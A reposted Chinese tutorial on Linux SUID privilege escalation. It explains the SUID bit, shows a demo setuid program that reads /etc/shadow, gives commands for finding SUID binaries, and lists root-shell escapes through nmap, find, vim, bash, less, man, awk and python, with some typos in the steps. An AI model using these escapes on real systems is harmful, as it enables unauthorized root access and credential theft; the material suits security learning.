1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 104.网络安全渗透测试—[权限提升篇2]—[Linux之SUID提权]

104.网络安全渗透测试—[权限提升篇2]—[Linux之SUID提权]

时间:2020-12-06 21:59:21

相关推荐

104.网络安全渗透测试—[权限提升篇2]—[Linux之SUID提权]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

一、LINUX SUID提权1、SUID简介2、SUID测试(1)实验环境(2)靶机suid提权环境测试(3)总结3、SUID提权(1)提权原理(2)可用于suid提权的命令(3)查找具有root权限的SUID的二进制可执行命令文件(4)nmap命令提权姿势(5)find命令提权姿势(6)vim命令提权姿势(7)bash命令提权姿势(8)less/more命令提权姿势(9)cp命令提权姿势(10)nano命令提权姿势(11)man命令提权姿势(12)awk命令提权姿势(13)python命令提权姿势

一、LINUX SUID提权

1、SUID简介

SUID是一种特殊的文件属性,它允许其他用户在执行文件的时候,以该文件的拥有者的身份运行。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。

例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

2、SUID测试

(1)实验环境

靶机环境:虚拟机Ubuntu-15.5.04-3.19.0-15-generic

(2)靶机suid提权环境测试

【以 root进行编译和权限设置】

第一步:编辑suid-demo.c源代码

#include <stdlib.h>#include <unistd.h>int main(){setuid(0);//设置suid为0,也就是run as rootsystem("id");system("cat /etc/shadow");}

第二步:编译gcc suid-demo.c -o suid-demo

第三步:设置suid位chmod 4775 suid-exp

第四步:ls 查询文件,注意s属性标识这个程序有suid的属性

第五步:使用find / -perm -u=s -type f 2>/dev/null命令来查询根本目录下所有带用suid属性的文件

【普通用户执行】

第六步:切换到普通用户moonteam,再去执行suid-demo,发现此时是以root的权限执行的该二进制文件

(3)总结

若靶机上的某个二进制命令文件,没有在root下设置suid临时权限,我们可以su root切换到root用户,然后输入chmod 4775 某命令文件,即可设置suid提权的环境!!!

3、SUID提权

(1)提权原理

简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了!!!

(2)可用于suid提权的命令

NmapVimfindBashMoreLesscpNanoManAwkPerlPythonTcmdump

(3)查找具有root权限的SUID的二进制可执行命令文件

姿势1:find / -user root -perm -4000 -print 2>/dev/null

姿势2:find / -perm -u=s -type f 2>/dev/null

姿势3:find / -user root -perm -4000 -exec ls -ldb {} \;

(4)nmap命令提权姿势

旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。若Nmap在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用交互式控制台来运行具有相同权限的shell。

第一步:nmap -v

第二步:nmap --interactive

第三步:nmap>!sh

(5)find命令提权姿势

若find在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用-exec参数以root权限执行命令甚至可以开启一个root权限的shell。

第一步:touch demo.txt

第二步:find demo.txt -exec whoami \;

第三步:find demo-exec /bin/bash -p \;

(6)vim命令提权姿势

Vim是Linux环境下的一款文件编辑器。若vim在root权限下设置了SUID临时权限,则可以在编辑状态下以root权限开启一个shell。

第一步:vim

图略

第二步::shell

图略

(7)bash命令提权姿势

第一步:bash -p

(8)less/more命令提权姿势

第一步:less或more /etc/passwd

图略

第二步:!/bin/bash或!/bin/sh

图略

(9)cp命令提权姿势

(10)nano命令提权姿势

(11)man命令提权姿势

第一步:man cat

图略

第二步:!/bin/bash或/bin/sh

图略

(12)awk命令提权姿势

第一步:awk 'BEGIN {system("/bin/bash")}'

图略

(13)python命令提权姿势

第一步:python -c 'import os;os.system("/bin/bash")'

图略

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。